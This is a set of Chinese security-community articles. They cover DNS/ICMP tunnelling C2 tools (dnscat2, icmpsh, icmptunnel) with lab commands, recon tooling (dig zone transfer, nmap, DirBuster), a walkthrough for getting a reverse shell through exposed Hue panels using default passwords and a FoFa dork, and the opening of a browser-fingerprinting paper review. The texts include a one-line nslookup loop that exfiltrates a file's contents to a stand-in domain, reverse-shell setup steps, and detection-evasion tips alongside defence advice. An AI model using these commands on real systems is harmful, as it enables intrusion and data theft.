等进行实验，分析其通信，提取相关的特征。
Server: inet192.168.30.129 Debian 7.2
Client: inet 192.168.30.130Debian 7.2
Other: inet192.168.30.134 Win XP
### DNS隧道
DNS 隧道通信是 C&C 常用的通信方式，一般常用的编码方式 Base64、Binary、Hex 编码等，请求的 Type 一般为
txt（为了返回的时候能够加入更多的信息）payload 部分一般为子域名。DNS 工作原理如下：
这里先介绍 DNS 隧道的一个应用场景：
> 在安全策略严格的内网环境中，常见的 C&C
> 通讯端口都被众多安全设备所监控。如果红队对目标内网的终端进行渗透时，发现该网段只允许白名单流量出站，同时其它端口都被屏蔽时，传统 C&C
> 通讯手段无法成立，反弹 Shell 变得十分困难。在这种情况下，红队还有一个最后的选择：使用 DNS 隐蔽隧道建立ReverseShell。
一个Demo（我们可以用下面这样的 shell:).
For I in (cat sensitive.txt); do d=(echoi|base64) && nslookup d.test.com; done
/**对每行内容进行base64编码,在DNS查询期间将其用作子域，一旦查询到达test.com的Authoritative DNS服务器，我们就可以捕获相应的DNS日志，通过解析日志可以获得子域，从而得到相应的敏感数据**/
这样的 shell 自然存在许多不足的地方
1、单向通信，不能从 C2(Authoritative DNS) 发回命令
2、读取文件非常容易，如果需要处理 100MB 数据时DNS 数据包可能会以不同的顺序到达。
根据木马工作原理的不同,将
DNS隧道木马细分为IP直连型和域名型，这里主要介绍：DnsCat2、Dnscat2-powershell、Reverse_DNS_Shell。
**dnscat2**
DNScat2 支持加密，通过预共享密钥进行身份验证，多个同时进行的会话，类似于 ssh 中的隧道，命令 shell 以及最流行的 DNS
查询类型（TXT，MX，CNAME，A，AAAA）,客户端用 C 语言编写，服务器用 ruby 编写。
Dns Tuneling
当运行客户端时，需要指定一个域名（域名型DNS隧道木马），所有请求都将发送到本地DNS 服务器，然后将转发至该域 Authoritative DNS
服务器，如果你没有一个 Authoritative DNS 服务器，你也可以选择 UDP 的53 端口（IP直连型
DNS隧道木马），这样速度更快，而且看起来仍然像普通的 DNS 查询，但是在请求日志中所有域名都是以 dnscat
开头，这种模式也容易被防火墙检测到，Server 需要在Authoritative DNS 服务器上运行，与 Client 相同需要指定域名/IP。
域名型 DNS 隧道木马通信架构图
一、部署
#Client
$ git clonehttps://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
#Server
yum install rubygems
gem install bundler
git clonehttps://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
二、参数介绍
请注意把 dnsch.cirrus.[domain] 换成你自己的域名。
命令行中：
> -c 参数定义了 pre-shared secret，可以使用具有预共享密钥的身份验证来防止中间人（man-in-the-> middle）攻击，否则传输数据并未加密，有可能被监听网络流量的第三方还原；如果不加定义，Dnscat2会生成一个字符串，记得拷贝下来在启动客户端时使用。
>
> -e 参数可以规定安全级别， open 代表让客户端进行选择。
>
> —no-cache 请务必在运行服务器时添加无缓存选项，因为 powershell-dnscat2 客户端与 dnscat2 服务器的 caching
> 模式不兼容。
三、Usage
如果目标内网放行了所有的 DNS 请求，那么就可以直接指定 HOST ，通过 UDP53 端口通信，而如果目标内网只允许和受信任的 DNS
服务器通信时就需要申请注意域名，并将运行 dnscat2 server 的服务器指定 Authoritative DNS 服务器，这里我们以第一种情况为例。
四、细节如下
1）Server
ruby ./dnscat2.rb
2）Client
./dnscat --dns server=192.168.30.129,port=53 --secret=a152c1cc946358825617f5cbcd3dce44
3）Server 可以看到连接建立
4）通信数据包特征
五、检测与防御
检测：
1、上文提到默认的 dnscat 查询中包含了dnscat 字符串，这个可以作为防火墙和入侵检测的特征
2、检查出站 DNS 查询的查询长度，监视来自特定主机的DNS 查询的频率，以及检查特定的不常见查询类型是一些示例。
3、记录 DNS 查询日志，通过频率、长度、类型监控异常日志
防御：防火墙上限制只允许与受信任的 DNS 服务器通信
**dnscat2-powershell**
> <https://github.com/lukebaggett/dnscat2-powershell>
Dnscat2-powershell可通过通用签名避免检测:
* 1、可以在客户端使用 –Delay 和–MaxRandomDelay 与 Start-Dnscat2 发送的每个请求之间添加静态或随机延迟；可以使用查询的精确最大长度基于查询来编写签名。如果您想要稍微隐蔽一些，可以使用-MaxPacketSize参数缩短最大请求大小。
* 2、许多 DNS 隧道将使用 TXT，CNAME 或 MX 查询，因为它们的响应处理简单，响应时间长。这些不是最常见的查询类型，因此IDS 可能会警告这些查询的频率很高。故而可以构造基于：A 和 AAAA查询（ Start-Dnscat2 的- LookupTypes 参数可用于将有效查询类型列表传递给客户端）
以下提供构造避免检测及提高传输速度的一个演示视频，若无法打开，可见文末下载链接
> <https://www.youtube.com/watch?v=VrA8cyrssos>
**Reverse_DNS_Shell**
使用 DNS 作为 C2 通道的 Python 反向 Shell。
> <https://github.com/ahhh/Reverse_DNS_Shell>
一、要求
* dnslib
* dnspython
* pycrypto
KaliLinux 默认 python 环境为 2.7 以上（默认已安装好），以上三个包需要使用pip 进行安装。
二、注意
* 首先运行服务端脚本
* 不要忘记更改您的秘密密钥（可在代码里面改）
三、原理解析
> <http://lockboxx.blogspot.com/2015/01/python-reverse-dns-shell.html>
四、细节
1） Server 端服务器监听状态
2) Client 端请求状态
3) 成功反弹 Shell
五、利用 tcpdump 进行数据包抓取
抓取主机：192.168.30.129 与 192.168.30.130 的通信数据包，保存为 root 目录下 DNSShell.cap
tcpdump -n -i eth0 host 192.168.30.129and 192.168.30.130 -w /root/DNSShell.cap
数据包解析情况
### ICMP隧道
将IP流量封装进 IMCP 的 ping 数据包中，旨在利用 ping 穿透防火墙的检测，因为通常防火墙是不会屏蔽 ping 数据包。
原理解析：
> 请求端的 Ping 工具通常会在 ICMP 数据包后面附加上一段随机的数据作为 Payload，而响应端则会拷贝这段 Payload 到 ICMP
> 响应数据包中返还给请求端，用于识别和匹配 Ping 请求（Windows 和 Linux 系统下的Ping 工具默认的 Payload 长度为
> 64bit，但实际上协议允许附加最大 64K 大小的Payload）
最后一个 Payload 字段是可以存放任何数据的，长度的话 理论上 ICMP 包外的 IP 包长度不超过 MTU 即可，但是实际上传不了那么大。
ICMP echo-request header
**ptunnel**
一个隧道工具，允许您通过可靠的 TCP 隧道连接一个远程主机，并使用 ICMP 回送请求和应答包，俗称 ping 请求和回复。
> <http://freshmeat.sourceforge.net/projects/ptunnel/>
使用场景简介：
> 两台机器间,除了允许相互 ping 即icmp 通信,其他的 tcp/udp 端口一律不允许,此时我们就可考虑利用 icmp 隧道进行穿透。
这里引用： Kionsec 的《利用icmp 隧道轻松穿透tcp/udp 四层封锁》
> <https://klionsec.github.io/2017/10/31/icmp-tunnel/>
流程如下
**icmpsh**
icmpsh 是一个简单的反向 ICMPshell ，与其他类似的开源工具相比，其主要优势在于它不需要管理权限即可在目标计算机上运行。
> <https://github.com/inquisb/icmpsh>
一、Usage
1）Server
禁用ICMP
> sysctl -wnet.ipv4.icmp_echo_ignore_all=1
设置监听 python icmpsh_m.pysrc(host：本地机器) dst(host：目标机器)
> ./icmpsh_m.py 192.168.30.130 192.168.30.134
反弹上线
2) Client
反弹 shell 建立 session
> icmpsh.exe -t 192.168.30.130
-r 参数 利用 test 账户进行测试
> icmpsh.exe -t 192.168.30.130 -r
3）数据包特征
4) Icmpsh –r参数
**icmptunnel**
icmptunnel 可以将 IP 流量封装进 IMCP 的 ping 数据包中，旨在利用 ping 穿透防火墙的检测。
对于隧道数据，icmptunnel 首先会指定客户端和服务器端。随后，客户端会将 IP 帧封装在 ICMP
请求数据包中发送给服务器，而服务器端则会使用相匹配的 ICMP 响应数据包进行回复（icmptunnel 提供在状态机防火墙和 NAT
网络之间，更加可靠的连接）。
> <https://github.com/jamesbarlow/icmptunnel.git>
一、编译
$ git clone https://github.com/jamesbarlow/icmptunnel.git
$ cd icmptunnel/
$ make
二、Usage
Server 与 Client 端禁止 ICMP 响应
> $ echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
在服务端以服务器模式启动 icmptunnel，并给隧道接口分配一个 IP 地址
$./icmptunnel -s
openedtunnel device: tun0
(ctrl-z)
$ bg
$ /sbin/ifconfig tun0 10.0.0.1 netmask255.255.255.0
在客户端，使用 icmptunnel 连接上服务器，并给隧道接口分配一个 IP 地址
$ ./icmptunnel192.168.30.129
opened tunnel device: tun0
connection established.
(ctrl-z)
$ bg
$ /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
这样我们就拥有一个端到端基于 ICMP 数据包的隧道了,其中服务器地址为 10.10.0.1，客户端地址为 10.10.0.2,在客户端可以尝试通过 SSH
连接服务器：
> $ssh [[email protected]](mailto:[email protected]).1
数据流特征
检测与防御：
检测：
1、检测同一来源 ICMP 数据包的数量。一个正常的 ping 每秒最多只会发送两个数据包，而使用 ICMP隧道的浏览器在同一时间会产生上千个 ICMP
数据包。
2、注意那些 ICMP 数据包中 payload 大于 64 比特的数据包。当然 icmptunnel 可以配置限制所有数据包的 payload 为 64
比特，这样会使得更难以被检测到。
3、寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包。
4、检查 ICMP 数据包的协议标签。例如，icmptunnel 会在所有的 ICMPpayload 前面增加 ‘TUNL’
标记以用于识别隧道，这就是特征。
防御：禁止 ping。
## 总结与思考
在一开始，我们就介绍了载荷分析和流量监测两种常规的检测方法，这两种方式不适用于高隐蔽性新型隧道木马检测，从我们测试提取的特征中，将样本特征添加到设备作为监测对象效率依旧低下。
思考：
> 我们是否可以用深度学习算法及自动检测技术来实现呢？
我们可以结合协议本身，基于通信行为检测隧道木马，,采用 Winpcap 数据包捕获技术的底层过滤机制，抓取 DNS 流量.将抓取的 DNS
流量按照五元组进行聚类,形成 DNS 会话数据流.将一个个 DNS 会话数据流提取成 DNS 会话评估向量,作为分类训练模块和木马流量监测的输入。
DNS隧道木马检测流程框架
## 相关附件
主要为本次实验的相关流量包及 2 个视频
链接：<https://pan.baidu.com/s/1RdMYuUWhDYxKq0FQ7wLHmQ>
提取码：4ygn
## 参考链接
<https://xz.aliyun.com/t/2214>
<https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/>
<https://www.anquanke.com/post/id/152046>
<https://klionsec.github.io/2017/10/31/icmp-tunnel/>
<https://oing9179.github.io/blog/2017/06/The-ICMP-Tunnel/>
<https://www.cnblogs.com/KevinGeorge/p/8858718.html>
<https://www.freebuf.com/articles/network/149328.html>
<https://www.anquanke.com/post/id/87228> | 社区文章 |
### 1、whois查询网站及服务器信息
如果知道目标的域名，你首先要做的就是通过Whois数据库查询域名的注册信息，Whois数据库是提供域名的注册人信息，包括联系方式，管理员名字，管理员邮箱等等，其中也包括DNS服务器的信息。
默认情况下，`Kali`已经安装了`Whois`。你只需要输入要查询的域名即可：
利用以上收集到的邮箱、QQ、电话号码、姓名、以及服务商，可以针对性进行攻击，利用社工库进行查找相关管理员信息，另外也可以对相关DNS服务商进行渗透，查看是否有漏洞，利用第三方漏洞平台，查看相关漏洞。
### 2、Dig使用
可以使用dig命令对DNS服务器进行挖掘。
Dig命令后面直接跟域名，回车即可
#### Dig常用选项
* **-c** 选项，可以设置协议类型（class），包括IN(默认)、CH和HS。
* **-f** 选项，dig支持从一个文件里读取内容进行批量查询，这个非常体贴和方便。文件的内容要求一行为一个查询请求。来个实际例子吧：
* **-4** 和 **-6** 两个选项，用于设置仅适用哪一种作为查询包传输协议，分别对应着IPv4和IPv6。
* **-t** 选项，用来设置查询类型，默认情况下是A，也可以设置MX等类型，来一个例子：
* **-q** 选项，其实它本身是一个多余的选项，但是它在复杂的dig命令中又是那么的有用。-q选项可以显式设置你要查询的域名，这样可以避免和其他众多的参数、选项相混淆，提高了命令的可读性，来个例子：
* **-x** 选项，是逆向查询选项。可以查询IP地址到域名的映射关系。举一个例子：
#### 跟踪dig全过程
dig非常著名的一个查询选项就是`+trace`，当使用这个查询选项后，dig会从根域查询一直跟踪直到查询到最终结果，并将整个过程信息输出出来
#### 精简dig输出
使用`+nocmd`的话，可以节省输出dig版本信息。
Dig可以用来查域传送漏洞,前面介绍了dig的使用，若将查询类型设定为axfr，就能得到域传送数据。这也是我们要用来测试DNS域传送泄露的命令.
### 3、Nslookup用法
`nslookup`是站长较为常用的工具之一，它甚至比同类工具dig的使用人数更多，原因是它的运行环境是windows，并且不需要我们再另外安装什么东西。dig是在`linux`环境里运行的命令，不过也可以在windows环境里使用，只是需要安装dig
windows版本的程序。
`Nslookup`命令以两种方式运行：非交互式和交互式。
本文第一次提到“交互式”的概念，简单说明：交互式系统是指执行过程中允许用户输入数据和命令的系统。而非交互式系统，是指一旦开始运行，不需要人干预就可以自行结束的系统。因此，`nslookup`以非交互式方式运行，就是指运行后自行结束。而交互式，是指开始运行后，会要求使用者进一步输入数据和命令。
#### 类型
* A 地址记录
* AAAA 地址记录
* AFSDB Andrew文件系统数据库服务器记录
* ATMA ATM地址记录
* CNAME 别名记录
* HINFO 硬件配置记录，包括CPU、操作系统信息
* ISDN 域名对应的ISDN号码
* MB 存放指定邮箱的服务器
* MG 邮件组记录
* MINFO 邮件组和邮箱的信息记录
* MR 改名的邮箱记录
* MX 邮件服务器记录
* NS 名字服务器记录
* PTR 反向记录
* RP 负责人记录
* RT 路由穿透记录
* SRV TCP服务器信息记录
* TXT 域名对应的文本信息
* X25 域名对应的X.25地址记录
#### 例如
1.设置类型为ns
2.下面的例子查询baidu.com使用的DNS服务器名称:
3.下面的例子展示如何查询baidu.com的邮件交换记录：
4.查看网站cname值。
5.查看邮件服务器记录（-qt=MX）
6.同样nslookup也可以验证是否存在域传送漏洞，步骤如下：
nslookup 进入交互式模式
Server 设置使用的DNS服务器
ls 命令列出某个域中的所有域名
### 4、fierce工具
在进行了基本域名收集以后，如果能通过主域名得到所有子域名信息，再通过子域名查询其对应的主机IP，这样我们能得到一个较为完整的信息。除了默认使用，我们还可以自己定义字典来进行域名爆破。
使用`fierce`工具，可以进行域名列表查询：`fierce -dns domainName`
输出结果表明，程序首先进行了域传送测试，域传送通过一条命令就能获取服务器上所有的域名信息。如果一次就能简单获取服务器上所有记录域名信息,就不再暴力破解。
但从结果上看，“`Unsucessful in zone transfer`”,
域传送测试是失败了。接着执行暴力破解，测试的数量取决于字典中提供的字符串数量，上例中没有指定字典，在默认情况下在Kali中使用`/usr/share/fierce/hosts.txt`。
一个内部网络的DNS域名服务器可以提供大量信息，这些信息可以在以后评估网络漏洞。
### 5、theHarvester的使用
`theHarvester`是一个社会工程学工具，它通过搜索引擎、PGP服务器以及SHODAN数据库收集用户的email，子域名，主机，雇员名，开放端口和banner信息。
* **-d** 服务器域名
* **-l** 限制显示数目
* **-b** 调用搜索引擎（baidu,google,bing,bingapi,pgp,linkedin,googleplus,jigsaw,all）
* **-f** 结果保存为HTML和XML文件
* **-h** 使用傻蛋数据库查询发现主机信息
#### 实例1
`theHarvester -d sec-redclub.com -l 100 -b baidu`
#### 实战2
输出到html文件中，可以更清晰的看到搜索的网站信息的模型。
`theHarvester -d sec-redclub.com -l 100 -b baidu -f myresults.html`
### 6、DNS枚举工具DNSenum
`DNSenum`是一款非常强大的域名信息收集工具。它能够通过谷歌或者字典文件猜测可能存在的域名，并对一个网段进行反向查询。它不仅可以查询网站的主机地址信息、域名服务器和邮件交换记录，还可以在域名服务器上执行axfr请求，然后通过谷歌脚本得到扩展域名信息，提取子域名并查询，最后计算C类地址并执行whois查询，执行反向查询，把地址段写入文件。
本小节将介绍使用DNSenum工具检查DNS枚举。在终端执行如下所示的命令：
输出的信息显示了DNS服务的详细信息。其中，包括主机地址、域名服务地址和邮件服务地址，最后会尝试是否存在域传送漏洞。
使用DNSenum工具检查DNS枚举时，可以使用dnsenum的一些附加选项，如下所示。
* **\--threads [number]** ：设置用户同时运行多个进程数。
* **-r** ：允许用户启用递归查询。
* **-d** ：允许用户设置WHOIS请求之间时间延迟数（单位为秒）。
* **-o** ：允许用户指定输出位置。
* **-w** ：允许用户启用WHOIS请求。
### 7、subDomainsbrute二级域名收集
二级域名是指顶级域名之下的域名，在国际顶级域名下，它是指域名注册人的网上名称；在国家顶级域名下，它是表示注册企业类别的符号。
我国在国际互联网络信息中心（Inter NIC） 正式注册并运行的顶级域名是CN，这也是我国的一级域名。
在顶级域名之下，我国的二级域名又分为类别域名和行政区域名两类。类别域名共7个，包括用于科研机构的ac；国际通用域名com、top；用于教育机构的edu；用于政府部门的gov；用于互联网络信息中心和运行中心的net；用于非盈利组织的org。而行政区域名有34个，分别对应于我国各省、自治区和直辖市。
以上为工具默认参数，如果是新手，请直接跟主域名即可，不用进行其它设置。
`Python subDomainsbrute.py sec-redclub.com`
就可以直接运行，等待结果，最后在工具文件夹下面存在txt文件，直接导入扫描工具就可以进行扫描了。
### 8、layer子域名检测工具
layer子域名检测工具主要是windows一款二级域名检测工具，利用爆破形式。
工具作者：<http://www.cnseay.com/4193/>
域名对话框直接输入域名就可以进行扫描了，工具显示比较细致，有域名、解析ip、cnd列表、web服务器和网站状态，这些对于一个安全测试人员，非常重要。如下操作：
会显示大部分主要二级域名。
### 9、Nmap
`Nmap`是一个网络连接端口扫描软件，用来扫描网上电脑开放的网络连接端口。确定哪些服务运行在哪些连接端口，并且推断计算机运行哪个操作系统。它是网络管理员必用的软件之一，以及用以评估网络系统安全。
#### 功能
* 主机发现
* 端口扫描
* 版本侦测
* OS侦测
#### 部署方式
* Kail集成环境
* 单独安装（使用yum、apt-get工具直接安装）
* PentestBox环境
* Windows版等等
#### Nmap使用
Nmap的参数和选项繁多，功能非常丰富。我们先来看一下Nmap的通用命令格式：`Nmap<扫描选项><扫描目标>`（详细教程及下载方式参见：[]()<http://nmap.org/）>
主机发现的原理与Ping命令类似，发送探测包到目标主机，如果收到回复，那么说明目标主机是开启的。Nmap支持十多种不同的主机探测方式，比如发送`ICMP
ECHO/TIMESTAMP/NETMASK`报文、发送TCPSYN/ACK包、发送`SCTP INIT/COOKIE-ECHO`包，用户可以在不同的条件下灵活选用不同的方式来探测目标机。
主机发现的基本用法
* **-sL** : List Scan 列表扫描，仅将指定的目标的IP列举出来，不进行主机发现。
* **-sn** : Ping Scan 只进行主机发现，不进行端口扫描。
* **-Pn** : 将所有指定的主机视作开启的，跳过主机发现的过程。
* **-PS/PA/PU/PY[portlist]** : 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。
* **-PE/PP/PM** : 使用ICMP echo, timestamp, and netmask 请求包发现主机。
* **-PO[protocollist]** : 使用IP协议包探测对方主机是否开启。
* **-sP** : Ping 指定范围内的 IP 地址
* **-n/-R** : -n表示不进行DNS解析；-R表示总是进行DNS解析。
* **\--dns-servers <serv1[,serv2],...>**: 指定DNS服务器。
* **\--system-dns** : 指定使用系统的DNS服务器
* **\--traceroute** : 追踪每个路由节点
扫描局域网`192.168.80.1/24`范围内哪些IP的主机是活动的。命令如下：`nmap –sn 192.168.80.1/24`
由图可知：`192.168.80.1`、`192.168.80.254`、`192.168.80.166`三台主机处于存活状态。
扫描局域网`192.168.80.100-200`范围内哪些IP的主机是活动的。命令如下：`nmap –sP 192.168.80.100-200`
端口扫描是Nmap最基本最核心的功能，用于确定目标主机的TCP/UDP端口的开放情况。默认情况下，Nmap会扫描1000个最有可能开放的TCP端口。Nmap通过探测将端口划分为6个状态：
* **open** ：端口是开放的。
* **closed** ：端口是关闭的。
* **filtered** ：端口被防火墙IDS/IPS屏蔽，无法确定其状态。
* **unfiltered** ：端口没有被屏蔽，但是否开放需要进一步确定。
* **open|filtered** ：端口是开放的或被屏蔽。
* **closed|filtered** ：端口是关闭的或被屏蔽。
端口扫描方面非常强大，提供了很多的探测方式：
* TCP SYN scanning
* TCP connect scanning
* TCP ACK scanning
* TCP FIN/Xmas/NULL scanning
* UDP scanning
* 其他方式
* **-sS/sT/sA/sW/sM** : 指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描。
* **-sU** : 指定使用UDP扫描方式确定目标主机的UDP端口状况。
* **-sN/sF/sX** : 指定使用`TCP Null`,`FIN`,`and Xmas` scans秘密扫描方式来协助探测对方的TCP端口状态。
* **\--scanflags <flags></flags>**: 定制TCP包的flags。
* **-sI[zombiehost[:probeport]](zombiehost\[:probeport\])**: 指定使用idle scan方式来扫描目标主机（前提需要找到合适的zombie host）
* **-sY/sZ** : 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况。
* **-sO** : 使用IP protocol 扫描确定目标机支持的协议类型。
* **-b <ftp host="" relay=""></ftp>**: 使用FTP bounce scan扫描方式
* **-p** ： 指定端口扫描
在此，我们以主机192.168.80.166为例。命令如下：`nmap -sS -p0-65535 -T4 192.168.80.166`
参数`-sS`表示使用TCP SYN方式扫描TCP端口；`-p0-65535`表示扫描所有端口；`-T4`表示时间级别配置4级；
扫描特定端口是否开放：`nmap -p21,80,445,3306 192.168.80.166`
简要的介绍版本的侦测原理。版本侦测主要分为以下几个步骤：
* 首先检查`open`与`open|filtered`状态的端口是否在排除端口列表内。如果在排除列表，将该端口剔除。
* 如果是TCP端口，尝试建立TCP连接。尝试等待片刻（通常6秒或更多，具体时间可以查询文件`nmap-services-probes`中`Probe TCP NULL q||`对应的totalwaitms）。通常在等待时间内，会接收到目标机发送的“WelcomeBanner”信息。nmap将接收到的`Banner`与`nmap-services-probes`中`NULL` probe中的签名进行对比。查找对应应用程序的名字与版本信息。
* 如果通过“Welcome Banner”无法确定应用程序版本，那么nmap再尝试发送其他的探测包（即从nmap-services-probes中挑选合适的probe），将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用，那么打印出应用返回报文，让用户自行进一步判定。
* 如果是UDP端口，那么直接使用`nmap-services-probes`中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。
* 如果探测到应用程序是SSL，那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。
* 如果探测到应用程序是SunRPC，那么调用`brute-force RPC grinder`进一步探测具体服务。
* **-sV** : 指定让Nmap进行版本侦测
* **\--version-intensity <level></level>**: 指定版本侦测强度（0-9），默认为7。数值越高，探测出的服务越准确，但是运行时间会比较长。
* **\--version-light** : 指定使用轻量侦测方式 (intensity 2)
* **\--version-all** : 尝试使用所有的probes进行侦测 (intensity 9)
* **\--version-trace** : 显示出详细的版本侦测过程信息。
对主机`192.168.80.166`进行版本侦测。命令如下：`nmap -sV -p0-65535 -T4 192.168.80.166`
Nmap使用TCP/IP协议栈指纹来识别不同的操作系统和设备。在RFC规范中，有些地方对TCP/IP的实现并没有强制规定，由此不同的TCP/IP方案中可能都有自己的特定方式。Nmap主要是根据这些细节上的差异来判断操作系统的类型的。
Nmap内部包含了2600多已知系统的指纹特征（在文件nmap-os-db文件中）。将此指纹数据库作为进行指纹对比的样本库。分别挑选一个open和closed的端口，向其发送经过精心设计的TCP/UDP/ICMP数据包，根据返回的数据包生成一份系统指纹。将探测生成的指纹与nmap-os-db中指纹进行对比，查找匹配的系统。如果无法匹配，以概率形式列举出可能的系统。
* **-O** : 指定Nmap进行OS侦测。
* **\--osscan-limit** : 限制Nmap只对确定的主机的进行OS探测（至少需确知该主机分别有一个open和closed的端口）。
* **\--osscan-guess** : 大胆猜测对方的主机的系统类型。由此准确性会下降不少，但会尽可能多为用户提供潜在的操作系统。
命令：`nmap –O 192.168.80.166`
* **-vv** ： 详细显示扫描状态
`nmap -p21,80,445,3306 -vv 192.168.80.166`
* **\--script** ： 使用nse脚本，也可自行编写nse脚本，nmap有580多个脚本
`nmap --script=auth 192.168.80.166`
* **\--script=brute** ： 对弱口令进行暴力破解
`nmap --script=brute 192.168.80.166`
* **\--script=default** ： 使用默认nse脚本搜集应用的信息
`nmap --script=default 192.168.80.166`
* **\--script=vuln** ： 检测常见漏洞
`nmap --script=vuln 192.168.80.166`
#### 优劣势
优势：
* 功能灵活强大，支持多种目标，大量计算机的同时扫描；
* 开源，相关帮助文档十分详细；
* 流行，由于其具有强大的扫描机探测功能，，已被成千上万安全专家使用。
劣势：
* Nmap参数众多，难以一一记忆；
### 10、DirBuster
DirBuster是一款路径及网页暴力破解的工具,可以破解出一直没有访问过或者管理员后台的界面路径。Java运行环境+DirBuster程序包
* 双击运行`DirBuster.jar`
* 在URL中输入目标URL或者主机IP地址
* 在`file with list of dirs/files` 栏后点击browse，选择破解的字典库为`directory-list-2.3-small.txt`
* 将File extension中填入正确的文件后缀，默认为`php`，如果为`jsp`、`asp`、`aspx`页面，需要填入`jsp`、`asp`、`aspx`
* 同样可以选择自己设置字典，线程等等
* 其他选项不变，点击右下角的start，启动目录查找
* 观察返回结果，可点击右下角的report，生成目录报告
优点：
* 敏感目录发掘能力强
* OWASP安全机构极力推荐
缺点：
* 探测目录依赖字典文件 | 社区文章 |
目前大数据是一个流行趋势，多数企业采用开源大数据框架来处理复杂的大体量数据，大数据管理平台Hue
是一个Web应用，用来简化用户和Hadoop集群的交互，技术架构从总体上来讲采用的是B/S架构，该web应用的后台采用python编程语言编写，大体上可以分为三层，分别是前端view层、Web服务层和Backend服务层。
Hue几乎可以支持所有大数据框架，包含有HDFS文件系统对的页面(调用HDFS API，进行增删改查的操作)，有HIVE
UI界面(使用HiveServer2，JDBC方式连接，可以在页面上编写HQL语句，进行数据分析查询)，YARN监控及Oozie工作流任务调度页面等等。Hue通过把这些大数据技术栈整合在一起，通过统一的Web
UI来访问和管理，极大地提高了大数据用户和管理员的工作效率
Hue默认配置可直接上传文件、恶意java程序、shell脚本，并提交计划任务执行，配置信息会在第一次启动时填写，可使用弱口令，例如用户名密码：admin/123456，admin/admin。
FoFa搜索语句：title="Hue - 欢迎使用 Hue"
下面是详细复现过程，以shell脚本为例。
首先准备一个命令执行、反弹shell脚本，或编译后的RCE、反弹shell java程序，本次复现使用反弹shell脚本：
登录后可在文件管理界面点击“+”上传文件，可选择不同目录：
上传后使用查询提交功能，提交任务计划Scheduler：
出现如下界面后，选择ACTIONS-动作，将“命令图标”拖入命令框：
就会出现以下配置界面，点击右侧“...”按钮选择刚才传的文件：
选中后：
此处记住要在右下角FILES选项同样选中对应脚本或程序，不然容易出现“找不到文件”的错误。
此时就可以提交保存，并使用立即执行按钮执行计划任务：
在监听机器使用nc监听，执行结果
大数据框架默认用户一般为yarn/spark/hadoop等，后续提权就看各位师傅自己的骚操作了。
防范措施：1.更改大数据框架认证方式，修改用户密码。
2.将默认端口屏蔽公网访问。 | 社区文章 |
作者: [程进@默安科技](https://mp.weixin.qq.com/s/gR7CcICIPV8S1Jop3i_8WQ##)
#### 01\. 研究背景
在如今，做安全防御已经不仅仅是被动的等着攻击者攻击，作为防御方，有越来越多的方法去反击攻击者，甚至给攻击者一些威胁。
设备指纹技术是一种长久有效的追踪技术，即使攻击者挂再多 vpn，也能够准确识别攻击者身份。
本文借助理海大学发布的 [(Cross-)Browser Fingerprinting via OS and Hardware Level
Features](http://yinzhicao.org/TrackingFree/crossbrowsertracking_NDSS17.pdf)
文章，写一些个人理解，与原文一并服用，效果更佳。
#### 02\. 设备指纹技术介绍
###### 1\. 第一代
第一代指纹追踪是 cookie 这类的服务端在客户端设置标志的追踪技术，evercookie 是 cookie 的加强版。
###### 2\. 第二代
第二代指纹追踪是设备指纹技术，发现 IP 背后的设备。通过 js 获取操作系统、分辨率、像素比等等一系列信息，传到后台计算，然后归并设备。
唯一性可以保证，但准确率很难完全保证。主要原因就是在跨浏览器指纹识别上面。跨浏览器之后，第二代技术中很重要的 canvas
指纹、浏览器插件指纹都变了，所以很难把跨浏览器指纹归并到同一设备上。
因为设备指纹相同，很大概率上是同一台设备；但是，设备指纹不同时，不一定不是同一台设备。
###### 3\. 第三代
第三代指纹追踪技术，则是发现设备后面的人。通过人的习惯、人的行为等等来对人进行归并，此项技术比较复杂。
###### 4\. 总 结
第一代、第二代的指纹追踪技术是可以直接通过 js 收集信息的，第三代指纹追踪技术目前可看到的案例是2017年 RSA 创新沙盒的冠军 unifyid
技术。但是在 RSA 的答辩现场我们可以看到，unifyid 在移动端安装软件、收集信息，不仅仅是通过 js。至于利用于 web 上，还任重而道远。
因此，2.5代指纹识别技术，即跨浏览器指纹识别技术。
#### 03\. 跨浏览器指纹识别特征
这篇 paper 中的创新点很多，最主要的是深入研究了显卡的渲染方法，图片的哪些部分用到硬件渲染，哪些部分只用到软件渲染，或者跟浏览器有关，paper
中都有深入研究。
着重讲一些比较有意思的特征，文章中用到的所有特征如下：
其中很多特征都是在其他设备指纹的 paper 中出现过的，并且目前被广泛用于设备指纹项目。比如 canvas 指纹在单浏览器识别中是比较有区分度的特征。
对比一下已经开源的 fp2 的指纹列表
fp2 中的都是一些常规的追踪项目，并且如果用过就知道，其中很多项目是没有什么区分度的，比如
* Has session storage or not
* Has local storage or not
* Has indexed DB
* Has IE specific 'AddBehavior'
* Has open DB
* Is AdBlock installed or not
* Has the user tampered with its languages 1
* Has the user tampered with its screen resolution 1
* Has the user tampered with its OS 1
* Has the user tampered with its browser
这些项只能进行一些大致的区分，并没有什么实际的参考价值
但是这篇 paper 中去掉了这些区分度低的特征，用到了另一类特征，显卡渲染图片，就是特征表中的 task(a)-task(r)，可以看到这些 task
的跨浏览器稳定性都非常高，也就是说受浏览器的影响不是很大，抽一些任务介绍一下
首先，paper 中对图片渲染进行了简单的介绍
> 在此之前，首先介绍下面的基本画布设置。画布的大小为
> 256×256。画布的轴定义如下，[0，0，0]是画布的中心，其中x轴是向右延伸的水平线，y轴是延伸到底部的垂直线，z轴朝远离 屏幕方向延伸。存在功率为
> [R：0.3，G：0.3，B：0.3]（1） 的环境光，相机位于 [0，0，-7]
> 的位置。这两个组件是必需的，否则模型完全是黑色的。在本文的其余部分，除非指定，例如具有 2D
> 特征的任务（d）和其他带有附加灯的任务，其他所有任务中使用相同的基本设置。
这里列举几个典型的 task
###### 1\. task（a）：纹理
图2（a）中的任务是测试片段着色器中的常规纹理特征。
具体来说，Suzanne 模型[19]在随机生成纹理的画布上呈现。纹理，大小为 256×256
